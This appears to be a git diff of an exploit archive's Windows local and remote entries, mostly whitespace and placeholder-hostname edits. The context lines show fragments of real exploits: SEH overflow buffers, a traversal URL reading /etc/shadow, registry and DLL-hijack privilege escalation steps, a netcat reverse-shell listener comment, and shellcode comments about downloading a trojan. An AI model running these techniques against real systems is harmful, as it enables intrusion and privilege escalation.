9f892702e..5348224d8 100755 --- a/platforms/windows/local/10664.py +++ b/platforms/windows/local/10664.py @@ -107,4 +107,4 @@ except: print " Usage: exploit.py [payload] " print " [payload] = url to shellcode without(http://) " print " Example: " - print " exploit.py www.server/shellcode " + print " exploit.py www.site.com/shellcode " diff --git a/platforms/windows/local/11199.txt b/platforms/windows/local/11199.txt index d2bed8bac..e9dfbcc66 100755 --- a/platforms/windows/local/11199.txt +++ b/platforms/windows/local/11199.txt @@ -279,4 +279,4 @@ ucq5EOcRsfAAWW3O8EbzQa0NiHHScJrKDjvg0gX1Y69MBBwCLNP6yg== -- ------------------------------------- tavisosdf.lonestar.org | finger me for my gpg key. -------------------------------------------------------- \ No newline at end of file +------------------------------------------------------- \ No newline at end of file diff --git a/platforms/windows/local/12379.php b/platforms/windows/local/12379.php index 39bd3df84..3227aee43 100755 --- a/platforms/windows/local/12379.php +++ b/platforms/windows/local/12379.php @@ -3,7 +3,7 @@ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Easyzip 2000 v3.5 (.zip) 0day stack buffer overflow PoC exploit Author: mr_me - http://net-ninja.net/ -Download: http://www.thefreeserver/ezip35.exe +Download: http://www.thefreesite.com/ezip35.exe Platform: Windows XP sp3 Advisory: http://www.corelan.be:8800/advisories.php?id=10-032 Greetz to: Corelan Security Team diff --git a/platforms/windows/local/13940.pl b/platforms/windows/local/13940.pl index 1d62eb173..5d9c699bd 100755 --- a/platforms/windows/local/13940.pl +++ b/platforms/windows/local/13940.pl @@ -48,4 +48,4 @@ open(my $c_h,">> exploit.ov"); print $c_h $exploit; close $c_h; -print "File wuz created successfully!"; \ No newline at end of file +print "File wuz created successfully!"; \ No newline at end of file diff --git a/platforms/windows/local/14428.py b/platforms/windows/local/14428.py index b95bb5bbf..205ee7f45 100755 --- a/platforms/windows/local/14428.py +++ b/platforms/windows/local/14428.py @@ -13,7 +13,7 @@ head ='''<ASX version="3.0"> <Entry> -<REF HREF="mms://server/ach/music/smpl/LACA-05928-002-tes_''' +<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_''' junk = "A" * 1975 #English XP SP3 users, try 1984 bytes instead nseh ="\x42\x61\x21\x61" seh ="\xa9\x9e\x41\x00" diff --git a/platforms/windows/local/14780.c b/platforms/windows/local/14780.c index d46ca7adc..5249ba3d8 100755 --- a/platforms/windows/local/14780.c +++ b/platforms/windows/local/14780.c @@ -24,3 +24,4 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) } + \ No newline at end of file diff --git a/platforms/windows/local/15584.txt b/platforms/windows/local/15584.txt index 5290a92ac..63c5b1205 100755 --- a/platforms/windows/local/15584.txt +++ b/platforms/windows/local/15584.txt @@ -1,4 +1,4 @@ -Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability + Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability Vendor: Native Instruments GmbH diff --git a/platforms/windows/local/15761.txt b/platforms/windows/local/15761.txt index 02c9c59b8..27c096138 100755 --- a/platforms/windows/local/15761.txt +++ b/platforms/windows/local/15761.txt @@ -477,3 +477,4 @@ return 0; + \ No newline at end of file diff --git a/platforms/windows/local/15762.txt b/platforms/windows/local/15762.txt index 2b9c9bcca..4d3562fe8 100755 --- a/platforms/windows/local/15762.txt +++ b/platforms/windows/local/15762.txt @@ -619,3 +619,4 @@ return 0; } + \ No newline at end of file diff --git a/platforms/windows/local/15763.txt b/platforms/windows/local/15763.txt index 00b893225..cf58c86b5 100755 --- a/platforms/windows/local/15763.txt +++ b/platforms/windows/local/15763.txt @@ -304,3 +304,4 @@ return 0; } + \ No newline at end of file diff --git a/platforms/windows/local/15764.txt b/platforms/windows/local/15764.txt index 775563c25..5b6e89c06 100755 --- a/platforms/windows/local/15764.txt +++ b/platforms/windows/local/15764.txt @@ -400,3 +400,4 @@ return 0 ; } + \ No newline at end of file diff --git a/platforms/windows/local/15994.rb b/platforms/windows/local/15994.rb index 1e2417845..fff08dbfc 100755 --- a/platforms/windows/local/15994.rb +++ b/platforms/windows/local/15994.rb @@ -89,4 +89,4 @@ begin rescue puts "ERROR TO CREATE THE FILE"+file end - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/local/16071.txt b/platforms/windows/local/16071.txt index 448730e2d..b902e740e 100755 --- a/platforms/windows/local/16071.txt +++ b/platforms/windows/local/16071.txt @@ -14,7 +14,7 @@ ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file then use iframe tag src to it: -<iframe src="MHTML:http://target-server/upfile/demo.html!cookie"></iframe> +<iframe src="MHTML:http://target-site.com/upfile/demo.html!cookie"></iframe> 2.Cross Site Scripting mhtml-file string injection diff --git a/platforms/windows/local/19144.txt b/platforms/windows/local/19144.txt index f4a48d425..b22c61837 100755 --- a/platforms/windows/local/19144.txt +++ b/platforms/windows/local/19144.txt @@ -8,4 +8,4 @@ Open Word or Excel. Select File:Open. Right click on the background of the File:Open window. A prompt will appear that will allow the user to select "Browse". Browse will open Windows Explorer. -Assuming the user has write access to the temp directory, create a special directory in temp and copy in the executables of the forbidden applications to this directory. These applications can now be executed and will circumvent the policies established by ZAK. \ No newline at end of file +Assuming the user has write access to the temp directory, create a special directory in temp and copy in the executables of the forbidden applications to this directory. These applications can now be executed and will circumvent the policies established by ZAK. \ No newline at end of file diff --git a/platforms/windows/local/19167.txt b/platforms/windows/local/19167.txt index 2fb6c02a8..98e2690f4 100755 --- a/platforms/windows/local/19167.txt +++ b/platforms/windows/local/19167.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/218/info Non-administrative Imail and WS_FTP Server users may elevate their privileges to administrator for these applications by modifying a specific registry value. Once a person has obtained administrative privileges, they may use the application interface (locally) to read email, create accounts, delete accounts, etc. Access the following registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\Machine_name\Users\Username" -Modify the Flag value to read "1920". 1920 gives the user account administrator permissions to IMail and WS_FTP Server. \ No newline at end of file +Modify the Flag value to read "1920". 1920 gives the user account administrator permissions to IMail and WS_FTP Server. \ No newline at end of file diff --git a/platforms/windows/local/19192.txt b/platforms/windows/local/19192.txt index b7d983700..6dc6d91f3 100755 --- a/platforms/windows/local/19192.txt +++ b/platforms/windows/local/19192.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/228/info During installation of BackOffice 4.0, a file called reboot.ini is created and stored in the \Program Files\Microsoft BackOffice directory. This file contains clear-text usernames and passwords for several services that may be created during installation. These services include: SQL Executive Logon, Exchange Services, and MTS Remote Administration (and potentially others). The File ACLs for this file are set to Everyone:Full Control. -Clear-text usernames and passwords are stored in the \Program Files\Microsoft BackOffice\Reboot.ini file. \ No newline at end of file +Clear-text usernames and passwords are stored in the \Program Files\Microsoft BackOffice\Reboot.ini file. \ No newline at end of file diff --git a/platforms/windows/local/19195.c b/platforms/windows/local/19195.c index d91fd9024..8b11df594 100755 --- a/platforms/windows/local/19195.c +++ b/platforms/windows/local/19195.c @@ -45,4 +45,4 @@ write(1, foo->Buffer, foo->Length); LsaClose(pol); exit(0); } -<---end---> \ No newline at end of file +<---end---> \ No newline at end of file diff --git a/platforms/windows/local/19227.txt b/platforms/windows/local/19227.txt index f9b01a34f..2a805102f 100755 --- a/platforms/windows/local/19227.txt +++ b/platforms/windows/local/19227.txt @@ -4,4 +4,4 @@ The IBM Remote Control Software package requires a client module to be loaded on It has been discovered that this service may be exploited by a local user level account to execute code with administrator privileges. This vulnerability would allow a user (with no admin rights) to execute programs that might allow them to elevate their privileges to that of an administrator. -Open the Netfinity client. Launch the Process Manager. From the Process Manager interface, launch arbitrary code. usrmgr.exe, musrmgr.exe, regedt32.exe, etc. may be launched and be used by the user level account to grant administrator privileges to any account on the host (or domain). \ No newline at end of file +Open the Netfinity client. Launch the Process Manager. From the Process Manager interface, launch arbitrary code. usrmgr.exe, musrmgr.exe, regedt32.exe, etc. may be launched and be used by the user level account to grant administrator privileges to any account on the host (or domain). \ No newline at end of file diff --git a/platforms/windows/local/19376.txt b/platforms/windows/local/19376.txt index d3b8ec821..f95351f49 100755 --- a/platforms/windows/local/19376.txt +++ b/platforms/windows/local/19376.txt @@ -38,4 +38,4 @@ void CRbExtension::Default(CHttpServerContext* pCtxt) *pCtxt << _T("Reboot<br>"); EndContent(pCtxt); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/local/19412.c b/platforms/windows/local/19412.c index 63dca973c..b7a825ec9 100755 --- a/platforms/windows/local/19412.c +++ b/platforms/windows/local/19412.c @@ -13,4 +13,4 @@ for(i = 0; i < strlen(argv[1]); i++) putchar(argv[1][i]^(char)((i + 1) << 1)); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/local/19472.txt b/platforms/windows/local/19472.txt index 31245b213..cb126ee7d 100755 --- a/platforms/windows/local/19472.txt +++ b/platforms/windows/local/19472.txt @@ -11,4 +11,4 @@ Value Name: GroupName (where group name is the name of the group to add the the Data Type: Reg_SZ String: Administrators -Reboot the host. \ No newline at end of file +Reboot the host. \ No newline at end of file diff --git a/platforms/windows/local/19473.txt b/platforms/windows/local/19473.txt index 1dad398c0..eaa4a7df7 100755 --- a/platforms/windows/local/19473.txt +++ b/platforms/windows/local/19473.txt @@ -8,4 +8,4 @@ Because the "Bypass Traverse Checking" right is assigned by default to the Every To bypass traverse checking and access another user's index.dat files, reference the absolute filename. For example, to search for all index.dat files belonging to the "administrator" account, issue the following command from a command prompt: -find "//"<\winnt\profiles\administrator\history\history.ie5\index.dat \ No newline at end of file +find "//"<\winnt\profiles\administrator\history\history.ie5\index.dat \ No newline at end of file diff --git a/platforms/windows/local/19506.txt b/platforms/windows/local/19506.txt index 1377c4895..72bb5b837 100755 --- a/platforms/windows/local/19506.txt +++ b/platforms/windows/local/19506.txt @@ -14,4 +14,4 @@ DWORD=1 The Security Permissions over these Registry Keys are Set to "Everyone:Special Access". Special Access, in these instances, includes 'Set Value'. This permission allows members of the Everyone Group (Domain Users, Users, Guests, etc.) to modify the value of these keys, including the ability to disable the security features which may have been enabled by the administrator. Disabling the Data Factory\HandlerInfo setting ("handlerRequired DWORD=0") may open the host to exploit via the MDAC RDS exploit as described in Bugtraq ID 529 <http://www.securityfocus.com/bid/529.html>. -Modify the HKEY_Local_Machine\Software\Microsoft\DataFactory\HandlerInfo Registry Key value "handlerRequired" to DWORD=0 \ No newline at end of file +Modify the HKEY_Local_Machine\Software\Microsoft\DataFactory\HandlerInfo Registry Key value "handlerRequired" to DWORD=0 \ No newline at end of file diff --git a/platforms/windows/local/19665.txt b/platforms/windows/local/19665.txt index 8c86be6e9..33f153724 100755 --- a/platforms/windows/local/19665.txt +++ b/platforms/windows/local/19665.txt @@ -32,4 +32,4 @@ Off Data 140 00[1D]000[1D]000[1D]000[1D]0 150 000[1A][6F][36][1D]0000000[1D]0 160 000000[1D]0 ------------------------------------------------- \ No newline at end of file +------------------------------------------------ \ No newline at end of file diff --git a/platforms/windows/local/19673.txt b/platforms/windows/local/19673.txt index 13740dc67..55ad3d704 100755 --- a/platforms/windows/local/19673.txt +++ b/platforms/windows/local/19673.txt @@ -20,4 +20,4 @@ to read: - Run WinWord and select Help|Contents from menubar. - Find topic "Word 97 new features" and select it. -- You should see CMD.EXE to run. \ No newline at end of file +- You should see CMD.EXE to run. \ No newline at end of file diff --git a/platforms/windows/local/19728.txt b/platforms/windows/local/19728.txt index 9fb43ba4c..a2f51c27f 100755 --- a/platforms/windows/local/19728.txt +++ b/platforms/windows/local/19728.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/945/info The default permissions applied to the directory containing the SMS Remote Control executable allow any user to replace the executable with any other executable. The new executable will run with System privileges after the next reboot. -Replace %SMS_LOCAL_DIR%\MS\SMS\CLICOMP\REMCTRL\WUSER32.EXE with a copy of wuser32.exe. After the next reboot, User Manager will run at startup with System privileges, allowing the logged-in user to add their account to arbitrary groups, including Administrators. \ No newline at end of file +Replace %SMS_LOCAL_DIR%\MS\SMS\CLICOMP\REMCTRL\WUSER32.EXE with a copy of wuser32.exe. After the next reboot, User Manager will run at startup with System privileges, allowing the logged-in user to add their account to arbitrary groups, including Administrators. \ No newline at end of file diff --git a/platforms/windows/local/19754.txt b/platforms/windows/local/19754.txt index ff9918dee..0d3bef438 100755 --- a/platforms/windows/local/19754.txt +++ b/platforms/windows/local/19754.txt @@ -16,4 +16,4 @@ The following exploit has been provided by Nelson Brito <nelson@secunet.com.br>: 4 - try to connect as user nelson and password nelson; 5 - BINDO, you are now a member of "Administrators" group(Stand Alone Servers) or -"Domain Admins" gourp(PDC Servers). \ No newline at end of file +"Domain Admins" gourp(PDC Servers). \ No newline at end of file diff --git a/platforms/windows/local/19993.txt b/platforms/windows/local/19993.txt index 035d27ccd..493b26299 100755 --- a/platforms/windows/local/19993.txt +++ b/platforms/windows/local/19993.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/1307/info While using ICQmailclient, the user creates a temporary internet link created in a default temporary directory, which remains even after the user signs out or closes ICQ. This link may be re-opened by another user, thus giving them full access to the ICQmail webaccount. The temporary link can be found in the default temp file (eg. c:\temp) and appears as: -http://cf.icq.com/cgi-bin/icqmail/write.pl5?uname=username&pwd=12345678 \ No newline at end of file +http://cf.icq.com/cgi-bin/icqmail/write.pl5?uname=username&pwd=12345678 \ No newline at end of file diff --git a/platforms/windows/local/20232.cpp b/platforms/windows/local/20232.cpp index 4aa0bdb1a..9283b8e5a 100755 --- a/platforms/windows/local/20232.cpp +++ b/platforms/windows/local/20232.cpp @@ -49,4 +49,4 @@ BOOL APIENTRY DllMain( HANDLE hModule, 1) Rename dll1.dll to riched20.dll 2) Place riched20.dll in a directory of your choice 3) Close all Office applications -4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll \ No newline at end of file +4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll \ No newline at end of file diff --git a/platforms/windows/local/20585.txt b/platforms/windows/local/20585.txt index 19c35be1d..b582d31ee 100755 --- a/platforms/windows/local/20585.txt +++ b/platforms/windows/local/20585.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2268/info LocalWEB2000 is subject to a directory traversal. Requesting a specially crafted HTTP request with a known filename will enable an attacker to gain read access to the requested file. -http://target/../../../autoexec.bat \ No newline at end of file +http://target/../../../autoexec.bat \ No newline at end of file diff --git a/platforms/windows/local/20651.txt b/platforms/windows/local/20651.txt index 985b00ced..57b3d5d0d 100755 --- a/platforms/windows/local/20651.txt +++ b/platforms/windows/local/20651.txt @@ -7,4 +7,4 @@ A problem in the software could allow access to restricted resources. Due to ins This makes it possible for a malicious user with access to the ftp server to gain access to sensitive information, including password files stored on the server. ftp> cd .. -ftp> get ../../autoexec.bat \ No newline at end of file +ftp> get ../../autoexec.bat \ No newline at end of file diff --git a/platforms/windows/local/2094.c b/platforms/windows/local/2094.c index 91012e234..c63feef9c 100755 --- a/platforms/windows/local/2094.c +++ b/platforms/windows/local/2094.c @@ -272,3 +272,4 @@ void std_err(void) { } // milw0rm.com [2006-07-31] + \ No newline at end of file diff --git a/platforms/windows/local/21044.c b/platforms/windows/local/21044.c index 5924584ab..3faeb7f17 100755 --- a/platforms/windows/local/21044.c +++ b/platforms/windows/local/21044.c @@ -24,12 +24,12 @@ Parece que anda suelto satanas." This vulnerability was researched by: - Juan Manuel Pascual <pask@plazaserver> + Juan Manuel Pascual <pask@plazasite.com> Special thanks to: - Ivan Sanchez <isanchez@plazaserver> - Mundo Alonso-Cuevillas <mundo@plazaserver> + Ivan Sanchez <isanchez@plazasite.com> + Mundo Alonso-Cuevillas <mundo@plazasite.com> */ diff --git a/platforms/windows/local/21090.txt b/platforms/windows/local/21090.txt index d429619d1..a4da20d55 100755 --- a/platforms/windows/local/21090.txt +++ b/platforms/windows/local/21090.txt @@ -30,4 +30,4 @@ For i = 1 To Len(str_password) CuteDecodeString = CuteDecodeString + Chr$(CuteDecode(Asc(Mid(str_password, i, 1)))) Next i -End Function \ No newline at end of file +End Function \ No newline at end of file diff --git a/platforms/windows/local/21091.txt b/platforms/windows/local/21091.txt index d95e4a61c..f125e4366 100755 --- a/platforms/windows/local/21091.txt +++ b/platforms/windows/local/21091.txt @@ -43,4 +43,4 @@ For i = 1 To (Len(str_password) / 2) UEDecodeString = UEDecodeString + Chr$(UEDecode(Val("&H" + Mid(str_password, (2 * (i - 1)) + 1, 2)), i)) Next i -End Function \ No newline at end of file +End Function \ No newline at end of file diff --git a/platforms/windows/local/21130.c b/platforms/windows/local/21130.c index 38e238fec..daa23f762 100755 --- a/platforms/windows/local/21130.c +++ b/platforms/windows/local/21130.c @@ -11,4 +11,4 @@ int main(void) while (1) printf("\t\t\b\b\b\b\b\b"); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/local/21173.pl b/platforms/windows/local/21173.pl index 906b05c2c..b6efec803 100755 --- a/platforms/windows/local/21173.pl +++ b/platforms/windows/local/21173.pl @@ -79,4 +79,4 @@ PRINT @usrID + ' : ' + @cryptstr FETCH NEXT FROM pwd_cursor INTO @usrID, @cryptstr END DEALLOCATE pwd_cursor -GO \ No newline at end of file +GO \ No newline at end of file diff --git a/platforms/windows/local/23037.txt b/platforms/windows/local/23037.txt index 1dc07bec1..40ec7697f 100755 --- a/platforms/windows/local/23037.txt +++ b/platforms/windows/local/23037.txt @@ -17,4 +17,4 @@ ShutDownOnExit=1 StartMySQL=1 CustomParams= *Username=root* -*Password=root \ No newline at end of file +*Password=root \ No newline at end of file diff --git a/platforms/windows/local/23041.txt b/platforms/windows/local/23041.txt index 6ca54c5a7..5adbca05f 100755 --- a/platforms/windows/local/23041.txt +++ b/platforms/windows/local/23041.txt @@ -8,4 +8,4 @@ It should be noted that the issue has been reported in CheckMail v1.2, however o Windows Registry key used to store passwords: -HKEY_USERS\S-1-5-21-823518204-436374069-1708537768-1004\Software\DeskSoft\CheckMail \ No newline at end of file +HKEY_USERS\S-1-5-21-823518204-436374069-1708537768-1004\Software\DeskSoft\CheckMail \ No newline at end of file diff --git a/platforms/windows/local/23511.txt b/platforms/windows/local/23511.txt index 66378b100..6c2cf2193 100755 --- a/platforms/windows/local/23511.txt +++ b/platforms/windows/local/23511.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9347/info Surfnet kiosks are prone to a vulnerability that may permit kiosk users to deposit extra time into kiosk accounts. This reportedly occurs when a user attempts to authenticate to the kiosk, causing their time to be doubled for each attempt. -C:\Surfnet\WWWRoot\CMD_Existing_Account_Attempt:Login=Username:Password=Password \ No newline at end of file +C:\Surfnet\WWWRoot\CMD_Existing_Account_Attempt:Login=Username:Password=Password \ No newline at end of file diff --git a/platforms/windows/local/23910.txt b/platforms/windows/local/23910.txt index be6cbf5cb..f95bbfc09 100755 --- a/platforms/windows/local/23910.txt +++ b/platforms/windows/local/23910.txt @@ -10,4 +10,4 @@ To reproduce on Window NT 4: To reproduce on Windows XP: -- Create a local printer (to file), Right click on the BackWeb icon on the systray and choose "Display Channel Status", Help, Print, Add a new printer, Start explorer from any link (like "Why driver signing is imortant" or "Windows logo program"), Start CMD.EXE. \ No newline at end of file +- Create a local printer (to file), Right click on the BackWeb icon on the systray and choose "Display Channel Status", Help, Print, Add a new printer, Start explorer from any link (like "Why driver signing is imortant" or "Windows logo program"), Start CMD.EXE. \ No newline at end of file diff --git a/platforms/windows/local/25636.txt b/platforms/windows/local/25636.txt index 91cba1b0e..20dd44a43 100755 --- a/platforms/windows/local/25636.txt +++ b/platforms/windows/local/25636.txt @@ -5,4 +5,4 @@ It is reported that Positive Software H-Sphere Winbox stores user account inform As a result, user credentials could be exposed to other local users who have permissions to access the log files. C:\HSphere.NET\log\action.log -C:\HSphere.NET\log\resources.log \ No newline at end of file +C:\HSphere.NET\log\resources.log \ No newline at end of file diff --git a/platforms/windows/local/26479.txt b/platforms/windows/local/26479.txt index 66e28652c..9c6ea3f77 100755 --- a/platforms/windows/local/26479.txt +++ b/platforms/windows/local/26479.txt @@ -67,4 +67,4 @@ window.close; </head> </html> -<<< +++ >>> \ No newline at end of file +<<< +++ >>> \ No newline at end of file diff --git a/platforms/windows/local/35661.txt b/platforms/windows/local/35661.txt index 0d6e6e7cf..772888ec2 100755 --- a/platforms/windows/local/35661.txt +++ b/platforms/windows/local/35661.txt @@ -17,4 +17,4 @@ The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. 1) Put the AppCompatCache.exe and Testdll.dll on disk 2) Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables). 3) Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll". -4) If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run. \ No newline at end of file +4) If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run. \ No newline at end of file diff --git a/platforms/windows/local/36909.rb b/platforms/windows/local/36909.rb index 703e92f83..3b3603d7a 100755 --- a/platforms/windows/local/36909.rb +++ b/platforms/windows/local/36909.rb @@ -76,3 +76,4 @@ class Metasploit3 < Msf::Exploit::Remote end end + \ No newline at end of file diff --git a/platforms/windows/local/37799.py b/platforms/windows/local/37799.py index 70e1c61a7..c38a787e5 100755 --- a/platforms/windows/local/37799.py +++ b/platforms/windows/local/37799.py @@ -54,3 +54,4 @@ try: except: print "Can't create Evil QSE script :'(" sys.exit(0) + \ No newline at end of file diff --git a/platforms/windows/local/38631.txt b/platforms/windows/local/38631.txt index 539592960..457a200d6 100755 --- a/platforms/windows/local/38631.txt +++ b/platforms/windows/local/38631.txt @@ -8,4 +8,4 @@ McAfee Data Loss Prevention 9.2.1 is vulnerable; prior versions may also be affe https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=shadow&cmdName=false -https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=syslog.conf&cmdName=false \ No newline at end of file +https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=syslog.conf&cmdName=false \ No newline at end of file diff --git a/platforms/windows/local/38672.txt b/platforms/windows/local/38672.txt index 489429a40..2928774b7 100755 --- a/platforms/windows/local/38672.txt +++ b/platforms/windows/local/38672.txt @@ -10,4 +10,4 @@ The following proof-of-concept is available: ln -s radiusd %x -./%x -v \ No newline at end of file +./%x -v \ No newline at end of file diff --git a/platforms/windows/local/39908.txt b/platforms/windows/local/39908.txt index 92ad9c6bf..6fca2ea5f 100755 --- a/platforms/windows/local/39908.txt +++ b/platforms/windows/local/39908.txt @@ -46,4 +46,4 @@ Restart the service or the machine and Remote.exe will start with SYSTEM privile 3. Solution: -To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service. \ No newline at end of file +To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service. \ No newline at end of file diff --git a/platforms/windows/local/39980.rb b/platforms/windows/local/39980.rb index b63e56a20..6b5813903 100755 --- a/platforms/windows/local/39980.rb +++ b/platforms/windows/local/39980.rb @@ -69,4 +69,4 @@ class MetasploitModule < Msf::Exploit::Remote file_create(playlist) end -end \ No newline at end of file +end \ No newline at end of file diff --git a/platforms/windows/local/559.c b/platforms/windows/local/559.c index aefbd1a35..728dee5b3 100755 --- a/platforms/windows/local/559.c +++ b/platforms/windows/local/559.c @@ -1,4 +1,4 @@ - + /* -------------------------------Advisory---------------------------------- Luigi Auriemma <aluigi(aaaatttttt)autistici[D000t]org> diff --git a/platforms/windows/local/8274.pl b/platforms/windows/local/8274.pl index 2bacbad0b..2f77d12d8 100755 --- a/platforms/windows/local/8274.pl +++ b/platforms/windows/local/8274.pl @@ -1,4 +1,4 @@ -# POP Peeper 3.4.0.0 .eml file Universal SEH Overwrite Exploit + # POP Peeper 3.4.0.0 .eml file Universal SEH Overwrite Exploit # Exploit By Stack # Mountassif Moad # how to use file Open message or Ctrl + O diff --git a/platforms/windows/local/8592.pl b/platforms/windows/local/8592.pl index 559d204e8..207f17555 100755 --- a/platforms/windows/local/8592.pl +++ b/platforms/windows/local/8592.pl @@ -1,4 +1,4 @@ -#!/usr/bin/perl + #!/usr/bin/perl # Beatport Player 1.0.0.283 (.M3U File) Stack Core Overflow Exploit(SEH) # Work Only in WIN SP2 FR # Credit to SirGod The Discover diff --git a/platforms/windows/local/9216.pl b/platforms/windows/local/9216.pl index 280854f19..283bc1085 100755 --- a/platforms/windows/local/9216.pl +++ b/platforms/windows/local/9216.pl @@ -1,4 +1,4 @@ -###################################################### + ###################################################### #-------------------- ~~> SkuLL-HacKeR <~~ -----------------# #################################################### diff --git a/platforms/windows/local/9659.cpp b/platforms/windows/local/9659.cpp index 08fc87f6b..e3914e50d 100755 --- a/platforms/windows/local/9659.cpp +++ b/platforms/windows/local/9659.cpp @@ -1,4 +1,4 @@ -/********************************************************************* + /********************************************************************* Portable E.M Magic Morph 1.95b .MOR File Stack Buffer Overflow POC * By fl0 fl0w * "can't stop me/my time is now/your time is up/MY TIME IS NOW !!!!" * diff --git a/platforms/windows/local/9895.txt b/platforms/windows/local/9895.txt index 4d521843f..25e565c0f 100755 --- a/platforms/windows/local/9895.txt +++ b/platforms/windows/local/9895.txt @@ -62,3 +62,4 @@ open (myfile,">$sploitfile"); print myfile $payload; close (myfile); + \ No newline at end of file diff --git a/platforms/windows/local/9983.pl b/platforms/windows/local/9983.pl index 24a5a7c4b..843723d6f 100755 --- a/platforms/windows/local/9983.pl +++ b/platforms/windows/local/9983.pl @@ -10,4 +10,4 @@ my $crash = "\x41" x 5000; open(myfile,'>>DragonR.m3u'); -print myfile $crash; \ No newline at end of file +print myfile $crash; \ No newline at end of file diff --git a/platforms/windows/remote/1.c b/platforms/windows/remote/1.c index db233985a..a4eb845ab 100755 --- a/platforms/windows/remote/1.c +++ b/platforms/windows/remote/1.c @@ -3,7 +3,7 @@ /* --------------------------------------------------------------- */ /* this is the exploit for ntdll.dll through WebDAV. */ /* run a netcat ex: nc -L -vv -p 666 */ -/* wb server your_ip 666 0 */ +/* wb server.com your_ip 666 0 */ /* the shellcode is a reverse remote shell */ /* you need to pad a bit.. the best way I think is launching */ /* the exploit with pad = 0 and after that, the server will be */ diff --git a/platforms/windows/remote/10007.html b/platforms/windows/remote/10007.html index d81af17ce..5f6fc6173 100755 --- a/platforms/windows/remote/10007.html +++ b/platforms/windows/remote/10007.html @@ -81,7 +81,7 @@ Object safety report: RegKey Safe for Script: true RegKey Safe for Init: true -vendor urls: http://www.postcastserver/ +vendor urls: http://www.postcastserver.com/ http://www.quicksoftcorp.com/ rgod. diff --git a/platforms/windows/remote/10258.pl b/platforms/windows/remote/10258.pl index 0014621d4..d9ed29575 100755 --- a/platforms/windows/remote/10258.pl +++ b/platforms/windows/remote/10258.pl @@ -1,7 +1,7 @@ # Exploit Title: [Golden FTP Server File Deletion Vulnerability] # Date: [18.11.2009] # Author: [sharpe] -# Software Link: [http://www.goldenftpserver/download.html] +# Software Link: [http://www.goldenftpserver.com/download.html] # Version: [4.30 Free and Professional] # Tested on: [Windows XP SP3] # CVE : [if exists] diff --git a/platforms/windows/remote/10542.py b/platforms/windows/remote/10542.py index 54bf57c6c..9b1802816 100755 --- a/platforms/windows/remote/10542.py +++ b/platforms/windows/remote/10542.py @@ -67,3 +67,4 @@ try: print "[+] Done " except: print "[x] Socket() error!" + \ No newline at end of file diff --git a/platforms/windows/remote/11457.pl b/platforms/windows/remote/11457.pl index a0925f406..e01bb132a 100755 --- a/platforms/windows/remote/11457.pl +++ b/platforms/windows/remote/11457.pl @@ -213,4 +213,4 @@ while (my $client = $server->accept()) { # ============================================================================ # The "test" user has been created successfully # -# Delete The "Public_Html\index.html" If you use this for the 2nd time \ No newline at end of file +# Delete The "Public_Html\index.html" If you use this for the 2nd time \ No newline at end of file diff --git a/platforms/windows/remote/1178.c b/platforms/windows/remote/1178.c index 91e570cb9..01fd074ab 100755 --- a/platforms/windows/remote/1178.c +++ b/platforms/windows/remote/1178.c @@ -88,7 +88,7 @@ void main(int argc, char *argv[]) if(argc!=4) { - printf("\n[+] Usage: %s server 80 /test.asp\n",argv[0]);return; + printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return; } //conectamos diff --git a/platforms/windows/remote/12119.pl b/platforms/windows/remote/12119.pl index 6fa6ef502..4285fed45 100755 --- a/platforms/windows/remote/12119.pl +++ b/platforms/windows/remote/12119.pl @@ -1,6 +1,6 @@ # Exploit Title: WINDOWS FTP SERVER by DWG (Auth Bypass) # Date: April 09, 2010 -# Software Link: [http://www.windowsftpserver/free_download.html] +# Software Link: [http://www.windowsftpserver.com/free_download.html] # Version: v 1.4 # Tested on: Windows XP SP3 # Author: chap0 diff --git a/platforms/windows/remote/124.pl b/platforms/windows/remote/124.pl index 2c340e54f..c5df36053 100755 --- a/platforms/windows/remote/124.pl +++ b/platforms/windows/remote/124.pl @@ -220,14 +220,14 @@ exit; # ; to also alter the offsets in the 0ffh to null # ; byte search! # ; for example: -# ; db 'http://www.server/someguy/trojan.exe',0ffh +# ; db 'http://www.site.com/someguy/trojan.exe',0ffh # ; count the length of the url, and add one for the 0ffh byte. # ; The above url is 38 bytes long, plus one for our null, is 39 bytes. # ; find the code saying (at the start of the shellcode): # ; push edi ; 'http://www.elitehaven.net/ncat.exe' # ; lea edi, [edi+35] # ; and make it: -# ; push edi ; 